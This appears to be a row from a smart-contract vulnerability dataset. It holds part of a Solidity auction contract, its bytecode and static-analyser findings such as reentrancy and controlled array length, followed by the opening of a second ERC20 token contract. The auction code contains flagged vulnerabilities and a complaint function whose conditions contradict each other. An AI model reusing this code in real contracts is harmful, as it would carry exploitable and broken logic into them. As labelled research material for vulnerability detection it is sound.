function getacttslen() public view returns(uint) {
return(auctionlistts.length);
}
//获取竞拍完结的总数
function getactendlen() public view returns(uint) {
return(auctionlistend.length);
}
//发布者设定发货
function setsendgoods(uint auctids) public {
uint _now = now;
auctionlist storage c = auctionlisting[auctids];
require(!frozenAccount[msg.sender]);
require(c.adduser == msg.sender);
require(c.endtime < _now);
require(c.ifsend == 0);
c.ifsend = 1;
c.ifend = true;
}
//竞拍者收到货物后动作
function setgetgoods(uint auctids) public {
uint _now = now;
require(actived == true);
require(!frozenAccount[msg.sender]);
auctionlist storage c = auctionlisting[auctids];
require(c.endtime < _now);
require(c.ifend == true);
require(c.ifsend == 1);
putusers storage lasttuser = c.aucusers[c.lastid];
require(lasttuser.puser == msg.sender);
c.ifsend = 2;
uint getmoney = lasttuser.addmoney*70/100;
btycaddmoney(c.adduser, getmoney);
auctionlistend.push(c);
}
//获取用户的发货地址(发布者)
function getuseraddress(uint auctids) public view returns(string){
auctionlist storage c = auctionlisting[auctids];
require(c.adduser == msg.sender);
//putusers memory mdata = c.aucusers[c.lastid];
return(c.aucusers[c.lastid].useraddr);
}
function editusetaddress(uint aid, string setaddr) public returns(bool){
require(actived == true);
auctionlist storage c = auctionlisting[aid];
putusers storage data = c.aucusers[c.lastid];
require(data.puser == msg.sender);
require(!frozenAccount[msg.sender]);
data.useraddr = setaddr;
return(true);
}
/*用户获取拍卖金额和返利,只能返利一次 */
function endauction(uint auctids) public {
//uint _now = now;
auctionlist storage c = auctionlisting[auctids];
require(actived == true);
require(c.ifsend == 2);
uint len = c.lastid;
putusers storage firstuser = c.aucusers[0];
address suser = msg.sender;
require(!frozenAccount[suser]);
require(c.ifend == true);
require(len > 1);
require(c.ausers[suser] > 0);
uint sendmoney = 0;
if(len == 2) {
require(firstuser.puser == suser);
sendmoney = c.currentprice*3/10 + c.ausers[suser];
}else{
if(firstuser.puser == suser) {
sendmoney = c.currentprice*1/10 + c.ausers[suser];
}else{
uint onemoney = (c.currentprice*2/10)/(len-2);
sendmoney = onemoney + c.ausers[suser];
}
}
require(sendmoney > 0);
c.ausers[suser] = 0;
btycaddmoney(suser, sendmoney);
emit getmoneys(suser, sendmoney);
}
//设定拍卖标准价
function setsystemprice(uint price) public onlyadmin{
systemprice = price;
}
//管理员冻结发布者和商品
function setauctionother(uint auctids) public onlyadmin{
auctionlist storage c = auctionlisting[auctids];
btyc.freezeAccount(c.adduser, true);
c.ifend = true;
c.ifsend = 3;
}
//设定商品状态
function setauctionsystem(uint auctids, uint setnum) public onlyadmin{
auctionlist storage c = auctionlisting[auctids];
c.ifend = true;
c.ifsend = setnum;
}
//设定商品正常
function setauctionotherfree(uint auctids) public onlyadmin{
auctionlist storage c = auctionlisting[auctids];
btyc.freezeAccount(c.adduser, false);
c.ifsend = 2;
}
//投诉发布者未发货或货物不符
function tsauction(uint auctids) public{
require(actived == true);
auctionlist storage c = auctionlisting[auctids];
uint _now = now;
require(c.endtime > _now);
require(c.endtime + 2 days < _now);
require(c.aucusers[c.lastid].puser == msg.sender);
if(c.endtime + 2 days < _now && c.ifsend == 0) {
c.ifsend = 5;
c.ifend = true;
auctionlistts.push(c);
}
if(c.endtime + 9 days < _now && c.ifsend == 1) {
c.ifsend = 5;
c.ifend = true;
auctionlistts.push(c);
}
}
//管理员设定违规竞拍返还竞拍者
function endauctionother(uint auctids) public {
require(actived == true);
//uint _now = now;
auctionlist storage c = auctionlisting[auctids];
address suser = msg.sender;
require(c.ifsend == 3);
require(c.ausers[suser] > 0);
btycaddmoney(suser,c.ausers[suser]);
c.ausers[suser] = 0;
emit getmoneys(suser, c.ausers[suser]);
}
/*
* 设置管理员
* @param {Object} address
*/
function admAccount(address target, bool freeze) onlyOwner public {
admins[target] = freeze;
}
function btycaddmoney(address addr, uint money) private{
address[] memory addrs = new address[](1);
uint[] memory moneys = new uint[](1);
addrs[0] = addr;
moneys[0] = money;
btyc.addBalances(addrs, moneys);
emit Transfer(this, addr, money);
}
function btycsubmoney(address addr, uint money) private{
address[] memory addrs = new address[](1);
uint[] memory moneys = new uint[](1);
addrs[0] = addr;
moneys[0] = money;
btyc.subBalances(addrs, moneys);
emit Transfer(addr, this, money);
}
/*
* 设置是否开启
* @param {Object} bool
*/
function setactive(bool tags) public onlyOwner {
actived = tags;
}
// 冻结 or 解冻账户
function freezeAccount(address target, bool freeze) public {
require(admins[msg.sender] == true);
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
}
//btyc接口类
interface btycInterface {
function balanceOf(address _addr) external view returns (uint256);
function mintToken(address target, uint256 mintedAmount) external returns (bool);
//function transfer(address to, uint tokens) external returns (bool);
function freezeAccount(address target, bool freeze) external returns (bool);
function getcanuse(address tokenOwner) external view returns(uint);
function addBalances(address[] recipients, uint256[] moenys) external returns(uint);
function subBalances(address[] recipients, uint256[] moenys) external returns(uint);
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns(uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns(uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns(uint c) {
require(b > 0);
c = a / b;
}
}
|
0x60806040526004361061022f5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461023457806307822f7d146102be5780630d0c529a146103015780631754de5714610328578063313ce5671461034e578063334fb22e14610379578063429b62e5146104cb5780634b079fa6146105005780634e285acb14610515578063517d95fa1461052d578063540ea6db146105515780635a6e89801461056957806365e16a09146105c75780636a83b924146105f15780636e3534351461060657806370a08231146106595780637196a7691461067a5780637854b798146106925780637d564f111461073c5780638d3ef87d146107545780638da5cb5b1461077557806390cfce5a146107a657806395d89b41146107be578063997ce600146107d35780639d134185146107eb5780639fbdcef014610806578063a8243ff41461081e578063a9059cbb14610833578063b0a8489e14610857578063b139275f14610878578063b1a0040614610890578063b414d4b6146108a5578063b7cc6f50146108c6578063c4041bc5146108de578063c88dbfeb146108f6578063c9ba73a31461090b578063cb37976514610923578063ceaf0bfb1461093b578063e259d07414610961578063e724529c14610979578063e736f03c1461099f578063e97e490c146109b4578063ee9c26d6146109d5578063f2fde38b146109ea578063f43a72b014610a0b578063fa53bb1b14610a25575b600080fd5b34801561024057600080fd5b50610249610a3d565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561028357818101518382015260200161026b565b50505050905090810190601f1680156102b05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102ca57600080fd5b506102d9600435602435610ac8565b60408051600160a060020a039094168452602084019290925282820152519081900360600190f35b34801561030d57600080fd5b50610316610b24565b60408051918252519081900360200190f35b34801561033457600080fd5b5061034c600160a060020a0360043516602435610b2b565b005b34801561035a57600080fd5b50610363610b5b565b6040805160ff9092168252519081900360200190f35b34801561038557600080fd5b50610391600435610b64565b604051808d600160a060020a0316600160a060020a031681526020018c81526020018b81526020018a8152602001898152602001888152602001878152602001806020018060200186151515158152602001858152602001848152602001838103835288818151815260200191508051906020019080838360005b8381101561042457818101518382015260200161040c565b50505050905090810190601f1680156104515780820380516001836020036101000a031916815260200191505b50838103825287518152875160209182019189019080838360005b8381101561048457818101518382015260200161046c565b50505050905090810190601f1680156104b15780820380516001836020036101000a031916815260200191505b509e50505050505050505050505050505060405180910390f35b3480156104d757600080fd5b506104ec600160a060020a0360043516610cf6565b604080519115158252519081900360200190f35b34801561050c57600080fd5b50610316610d0b565b34801561052157600080fd5b5061034c600435610d1e565b34801561053957600080fd5b5061034c600160a060020a0360043516602435610db2565b34801561055d57600080fd5b50610249600435610e43565b34801561057557600080fd5b5060408051602060046024803582810135601f81018590048502860185019096528585526104ec958335953695604494919390910191908190840183828082843750949750610f299650505050505050565b3480156105d357600080fd5b5061034c600160a060020a0360043581169060243516604435610fce565b3480156105fd57600080fd5b50610316610fff565b604080516020600460443581810135601f810184900484028501840190955284845261034c94823594602480359536959460649492019190819084018382808284375094975061109f9650505050505050565b34801561066557600080fd5b50610316600160a060020a03600435166112c0565b34801561068657600080fd5b506103916004356112df565b34801561069e57600080fd5b50604080516020600460a43581810135601f81018490048402850184019095528484526103169482359460248035956044359560643595608435953695929460c494920191819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497506112ed9650505050505050565b34801561074857600080fd5b5061034c6004356115d5565b34801561076057600080fd5b50610316600160a060020a03600435166115fb565b34801561078157600080fd5b5061078a611616565b60408051600160a060020a039092168252519081900360200190f35b3480156107b257600080fd5b5061034c600435611625565b3480156107ca57600080fd5b50610249611911565b3480156107df57600080fd5b5061034c60043561196b565b3480156107f757600080fd5b5061034c600435602435611b8f565b34801561081257600080fd5b5061034c600435611be9565b34801561082a57600080fd5b50610316611ce3565b34801561083f57600080fd5b506104ec600160a060020a0360043516602435611ce9565b34801561086357600080fd5b50610316600160a060020a0360043516611cfc565b34801561088457600080fd5b506104ec600435611da6565b34801561089c57600080fd5b50610316611db3565b3480156108b157600080fd5b506104ec600160a060020a0360043516611db9565b3480156108d257600080fd5b50610391600435611dce565b3480156108ea57600080fd5b50610391600435611ddc565b34801561090257600080fd5b50610316611fb4565b34801561091757600080fd5b50610316600435611fba565b34801561092f57600080fd5b5061034c600435611fe7565b34801561094757600080fd5b5061034c600160a060020a036004351660243515156124de565b34801561096d57600080fd5b5061034c600435612520565b34801561098557600080fd5b5061034c600160a060020a03600435166024351515612615565b3480156109ab57600080fd5b506104ec61269a565b3480156109c057600080fd5b50610316600160a060020a03600435166126a3565b3480156109e157600080fd5b5061031661271b565b3480156109f657600080fd5b5061034c600160a060020a036004351661272e565b348015610a1757600080fd5b5061034c6004351515612774565b348015610a3157600080fd5b5061034c60043561279e565b6002805460408051602060018416156101000260001901909316849004601f81018490048402820184019092528181529291830182828015610ac05780601f10610a9557610100808354040283529160200191610ac0565b820191906000526020600020905b815481529060010190602001808311610aa357829003601f168201915b505050505081565b6000806000806000600587815481101515610adf57fe5b60009182526020808320988352600c600e909202909801019096525050604090932080546001820154600290920154600160a060020a03909116969195509350915050565b6007545b90565b336000908152600b602052604090205460ff161515600114610b4c57600080fd5b610b573083836128a7565b5050565b60035460ff1681565b6007805482908110610b7257fe5b6000918252602091829020600e909102018054600180830154600280850154600386015460048701546005880154600689015460078a01805460408051601f6000199c841615610100029c909c0190921698909804998a018d90048d0281018d01909752888752600160a060020a039099169b5095999398929791969095949293830182828015610c445780601f10610c1957610100808354040283529160200191610c44565b820191906000526020600020905b815481529060010190602001808311610c2757829003601f168201915b5050505060088301805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152949594935090830182828015610cd45780601f10610ca957610100808354040283529160200191610cd4565b820191906000526020600020905b815481529060010190602001808311610cb757829003601f168201915b505050506009830154600a840154600b90940154929360ff909116929091508c565b600b6020526000908152604090205460ff1681565b306000908152600a602052604090205490565b60058054429160009184908110610d3157fe5b60009182526020808320338452600c909152604090922054600e909102909101915060ff1615610d6057600080fd5b8054600160a060020a03163314610d7657600080fd5b60028101548211610d8657600080fd5b600a81015415610d9557600080fd5b6001600a82018190556009909101805460ff191690911790555050565b336000908152600b602052604090205460ff161515600114610dd357600080fd5b600160a060020a0382166000908152600a6020526040902054610dfc908263ffffffff6129b016565b600160a060020a0383166000818152600a6020908152604091829020939093558051848152905191923092600080516020612e7e8339815191529281900390910190a35050565b60606000600583815481101515610e5657fe5b60009182526020909120600e909102018054909150600160a060020a03163314610e7f57600080fd5b600b8101546000908152600c8201602090815260409182902060030180548351601f600260001961010060018616150201909316929092049182018490048402810184019094528084529091830182828015610f1c5780601f10610ef157610100808354040283529160200191610f1c565b820191906000526020600020905b815481529060010190602001808311610eff57829003601f168201915b5050505050915050919050565b600d546000908190819060ff161515600114610f4457600080fd5b6005805486908110610f5257fe5b60009182526020808320600b600e90930201918201548352600c82019052604090912080549193509150600160a060020a03163314610f9057600080fd5b336000908152600c602052604090205460ff1615610fad57600080fd5b8351610fc29060038301906020870190612d70565b50600195945050505050565b336000908152600b602052604090205460ff161515600114610fef57600080fd5b610ffa8383836128a7565b505050565b604080517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015290516000917356f527c3f4a24bb2beba449ffd766331da840ffa916370a082319160248082019260209290919082900301818787803b15801561106e57600080fd5b505af1158015611082573d6000803e3d6000fd5b505050506040513d602081101561109857600080fd5b5051905090565b336000818152600c6020526040812054429291908190819060ff16156110c457600080fd5b600d5460ff1615156001146110d857600080fd5b60058054899081106110e657fe5b60009182526020909120600e90910201600981015490935060ff161561110b57600080fd5b600a8301541561111a57600080fd5b611123846126a3565b6006840154909250871161113657600080fd5b600483015487111561114757600080fd5b600160a060020a0384166000908152600d84016020526040902054871161116d57600080fd5b50600160a060020a0383166000908152600d8301602052604090205486038082101561119857600080fd5b84836002015410156111b85760098301805460ff191660011790556112b6565b82600401548714156111d45760098301805460ff191660011790555b6111de84826129c0565b600160a060020a038481166000818152600d8601602090815260408083208c9055600688018c905580516080810182529384528382018a81528482018d8152606086018d8152600b8b01805460018082019092558752600c8c018652939095208651815473ffffffffffffffffffffffffffffffffffffffff19169816979097178755905191860191909155516002850155905180519293926112879260038501920190612d70565b505050600160a060020a0384166000908152600860209081526040822080546001810182559083529120018890555b5050505050505050565b600160a060020a0381166000908152600a60205260409020545b919050565b6006805482908110610b7257fe5b600d5460009042903390839060ff16151560011461130a57600080fd5b600160a060020a0382166000908152600c602052604090205460ff161561133057600080fd5b610e0f1983018b101561134257600080fd5b6202a30083018b1061135357600080fd5b8a8a1161135f57600080fd5b6202a3008b018a1061137057600080fd5b6004547356f527c3f4a24bb2beba449ffd766331da840ffa600160a060020a03166370a08231846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b1580156113fb57600080fd5b505af115801561140f573d6000803e3d6000fd5b505050506040513d602081101561142557600080fd5b5051101561143257600080fd5b60056101806040519081016040528084600160a060020a031681526020018d81526020018c81526020018a81526020018981526020018b81526020018a81526020018881526020018781526020016000151581526020016000815260200160008152509080600181540180825580915050906001820390600052602060002090600e02016000909192909190915060008201518160000160006101000a815481600160a060020a030219169083600160a060020a031602179055506020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c0820151816006015560e0820151816007019080519060200190611545929190612d70565b506101008201518051611562916008840191602090910190612d70565b506101208201516009828101805460ff191692151592909217909155610140830151600a83015561016090920151600b90910155600554600160a060020a0394909416600090815260209182526040812080546001810182559082529190200183905550909a9950505050505050505050565b336000908152600b602052604090205460ff1615156001146115f657600080fd5b600455565b600160a060020a031660009081526008602052604090205490565b600054600160a060020a031681565b600d5442906000908190819060ff16151560011461164257600080fd5b336000908152600c602052604090205460ff161561165f57600080fd5b600580548690811061166d57fe5b90600052602060002090600e0201925083836002015410151561168f57600080fd5b600983015460ff1615156001146116a557600080fd5b600a8301546001146116b657600080fd5b600b8301546000908152600c8401602052604090208054909250600160a060020a031633146116e457600080fd5b6002600a84018190558201546064906046028454919004915061171090600160a060020a031682612b98565b60068054600181810180845560008490528654600e9093027ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f8101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909516949094178455828801547ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d408201556002808901547ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d4183015560038901547ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d4283015560048901547ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d4383015560058901547ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d44830155948801547ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d4582015560078801805492958995946118b1947ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d46909401939081161561010002600019011604612dee565b50600882018160080190805460018160011615610100020316600290046118d9929190612dee565b50600982810154908201805460ff191660ff9092161515919091179055600a8083015490820155600b91820154910155505050505050565b60018054604080516020600284861615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610ac05780601f10610a9557610100808354040283529160200191610ac0565b60008060008060008060058781548110151561198357fe5b60009182526020909120600d54600e90920201965060ff1615156001146119a957600080fd5b600a8601546002146119ba57600080fd5b600b8601546000808052600c80890160209081526040808420338086529390925290922054929750909550935060ff16156119f457600080fd5b600986015460ff161515600114611a0a57600080fd5b60018511611a1757600080fd5b600160a060020a0383166000908152600d8701602052604081205411611a3c57600080fd5b600091508460021415611a92578354600160a060020a03848116911614611a6257600080fd5b600160a060020a0383166000908152600d870160205260409020546006870154600a906003025b04019150611b10565b8354600160a060020a0384811691161415611acf57600160a060020a0383166000908152600d870160205260409020546006870154600a90611a89565b6006860154600119860190600a9060020204811515611aea57fe5b600160a060020a0385166000908152600d89016020526040902054919004908101925090505b60008211611b1d57600080fd5b600160a060020a0383166000908152600d87016020526040812055611b428383612b98565b60408051600160a060020a03851681526020810184905281517fc09831ac53c3b4bb7ef8a6bc27ff4d38b619e41641ea37b8c2804773b230da4b929181900390910190a150505050505050565b336000908152600b602052604081205460ff161515600114611bb057600080fd5b6005805484908110611bbe57fe5b600091825260209091206009600e90920201908101805460ff19166001179055600a01919091555050565b336000908152600b602052604081205460ff161515600114611c0a57600080fd5b6005805483908110611c1857fe5b60009182526020808320600e9092029091018054604080517fe724529c000000000000000000000000000000000000000000000000000000008152600160a060020a0392909216600483015260248201859052519194507356f527c3f4a24bb2beba449ffd766331da840ffa9363e724529c9360448084019491939192918390030190829087803b158015611cac57600080fd5b505af1158015611cc0573d6000803e3d6000fd5b505050506040513d6020811015611cd657600080fd5b50506002600a9091015550565b60055490565b6000611cf63384846128a7565b92915050565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a038316600482015290516000917356f527c3f4a24bb2beba449ffd766331da840ffa916370a082319160248082019260209290919082900301818787803b158015611d7457600080fd5b505af1158015611d88573d6000803e3d6000fd5b505050506040513d6020811015611d9e57600080fd5b505192915050565b60006112da3330846128a7565b60065490565b600c6020526000908152604090205460ff1681565b6005805482908110610b7257fe5b600080600080600080600060608060008060008060058e815481101515611dff57fe5b90600052602060002090600e020190508060000160009054906101000a9004600160a060020a03169c5080600101549b5080600201549a5080600501549950806003015498508060040154975080600601549650806008018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611eeb5780601f10611ec057610100808354040283529160200191611eeb565b820191906000526020600020905b815481529060010190602001808311611ece57829003601f168201915b5050505060078301805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152949950919250830182828015611f7b5780601f10611f5057610100808354040283529160200191611f7b565b820191906000526020600020905b815481529060010190602001808311611f5e57829003601f168201915b505050505095508060090160009054906101000a900460ff16935080600a0154925080600b015491505091939597999b5091939597999b565b60045481565b336000908152600960205260408120805483908110611fd557fe5b90600052602060002001549050919050565b600d54600090819060ff16151560011461200057600080fd5b600580548490811061200e57fe5b90600052602060002090600e0201915042905080826002015411151561203357600080fd5b60028201546202a30001811161204857600080fd5b600b8201546000908152600c83016020526040902054600160a060020a0316331461207257600080fd5b8082600201546202a3000110801561208c5750600a820154155b156122a5576005600a830181905560098301805460ff191660019081179091556007805480830180835560008390528654600e9092027fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6888101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909416939093178355848801547fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6898201556002808901547fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68a83015560038901547fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68b83015560048901547fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68c830155958801547fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68d82015560068801547fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68e820155928701805491958895939461224b947fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68f909101939081161561010002600019011604612dee565b5060088201816008019080546001816001161561010002031660029004612273929190612dee565b50600982810154908201805460ff191660ff9092161515919091179055600a8083015490820155600b91820154910155505b808260020154620bdd80011080156122c1575081600a01546001145b15610ffa576005600a830181905560098301805460ff191660019081179091556007805480830180835560008390528654600e9092027fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6888101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909416939093178355848801547fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6898201556002808901547fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68a83015560038901547fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68b83015560048901547fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68c830155958801547fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68d82015560068801547fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68e8201559287018054919588959394612480947fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68f909101939081161561010002600019011604612dee565b50600882018160080190805460018160011615610100020316600290046124a8929190612dee565b50600982810154908201805460ff191660ff9092161515919091179055600a8083015490820155600b9182015491015550505050565b600054600160a060020a031633146124f557600080fd5b600160a060020a03919091166000908152600b60205260409020805460ff1916911515919091179055565b600d54600090819060ff16151560011461253957600080fd5b600580548490811061254757fe5b90600052602060002090600e0201915033905081600a0154600314151561256d57600080fd5b600160a060020a0381166000908152600d830160205260408120541161259257600080fd5b600160a060020a0381166000908152600d830160205260409020546125b8908290612b98565b600160a060020a0381166000818152600d84016020908152604080832083905580519384529083019190915280517fc09831ac53c3b4bb7ef8a6bc27ff4d38b619e41641ea37b8c2804773b230da4b9281900390910190a1505050565b336000908152600b602052604090205460ff16151560011461263657600080fd5b600160a060020a0382166000818152600c6020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b600d5460ff1681565b604080517f332559d3000000000000000000000000000000000000000000000000000000008152600160a060020a038316600482015290516000917356f527c3f4a24bb2beba449ffd766331da840ffa9163332559d39160248082019260209290919082900301818787803b158015611d7457600080fd5b3360009081526009602052604090205490565b600054600160a060020a0316331461274557600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316331461278b57600080fd5b600d805460ff1916911515919091179055565b336000908152600b602052604081205460ff1615156001146127bf57600080fd5b60058054839081106127cd57fe5b60009182526020808320600e9092029091018054604080517fe724529c000000000000000000000000000000000000000000000000000000008152600160a060020a0392909216600483015260016024830152519194507356f527c3f4a24bb2beba449ffd766331da840ffa9363e724529c9360448084019491939192918390030190829087803b15801561286157600080fd5b505af1158015612875573d6000803e3d6000fd5b505050506040513d602081101561288b57600080fd5b505060098101805460ff191660011790556003600a9091015550565b6000600160a060020a03831615156128be57600080fd5b600d5460ff1615156001146128d257600080fd5b600160a060020a0384166000908152600a60205260409020548211156128f757600080fd5b600160a060020a0383166000908152600a60205260409020548281011161291d57600080fd5b50600160a060020a038083166000818152600a6020908152604080832080549589168085528285208054898103909155948690528154880190915581518781529151939095019492600080516020612e7e833981519152929181900390910190a3600160a060020a038084166000908152600a60205260408082205492871682529020540181146129aa57fe5b50505050565b81810182811015611cf657600080fd5b60408051600180825281830190925260609182919060208083019080388339505060408051600180825281830190925292945090506020808301908038833901905050905083826000815181101515612a1557fe5b600160a060020a039092166020928302909101909101528051839082906000908110612a3d57fe5b6020908102909101810191909152604080517f46e36060000000000000000000000000000000000000000000000000000000008152600481019182528451604482015284517356f527c3f4a24bb2beba449ffd766331da840ffa936346e36060938793879391928392602483019260640191878101910280838360005b83811015612ad2578181015183820152602001612aba565b50505050905001838103825284818151815260200191508051906020019060200280838360005b83811015612b11578181015183820152602001612af9565b50505050905001945050505050602060405180830381600087803b158015612b3857600080fd5b505af1158015612b4c573d6000803e3d6000fd5b505050506040513d6020811015612b6257600080fd5b50506040805184815290513091600160a060020a03871691600080516020612e7e8339815191529181900360200190a350505050565b60408051600180825281830190925260609182919060208083019080388339505060408051600180825281830190925292945090506020808301908038833901905050905083826000815181101515612bed57fe5b600160a060020a039092166020928302909101909101528051839082906000908110612c1557fe5b6020908102909101810191909152604080517fddf0c070000000000000000000000000000000000000000000000000000000008152600481019182528451604482015284517356f527c3f4a24bb2beba449ffd766331da840ffa9363ddf0c070938793879391928392602483019260640191878101910280838360005b83811015612caa578181015183820152602001612c92565b50505050905001838103825284818151815260200191508051906020019060200280838360005b83811015612ce9578181015183820152602001612cd1565b50505050905001945050505050602060405180830381600087803b158015612d1057600080fd5b505af1158015612d24573d6000803e3d6000fd5b505050506040513d6020811015612d3a57600080fd5b5050604080518481529051600160a060020a038616913091600080516020612e7e8339815191529181900360200190a350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612db157805160ff1916838001178555612dde565b82800160010185558215612dde579182015b82811115612dde578251825591602001919060010190612dc3565b50612dea929150612e63565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612e275780548555612dde565b82800160010185558215612dde57600052602060002091601f016020900482015b82811115612dde578254825591600101919060010190612e48565b610b2891905b80821115612dea5760008155600101612e695600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582025ee0464b0667c245372929a8a6db893809a3fd2280f0dde5d105033efbc85a80029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 5,132 |
0xc10d83e99b2fa3d21c0cfd0ca28901a59be9433a
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
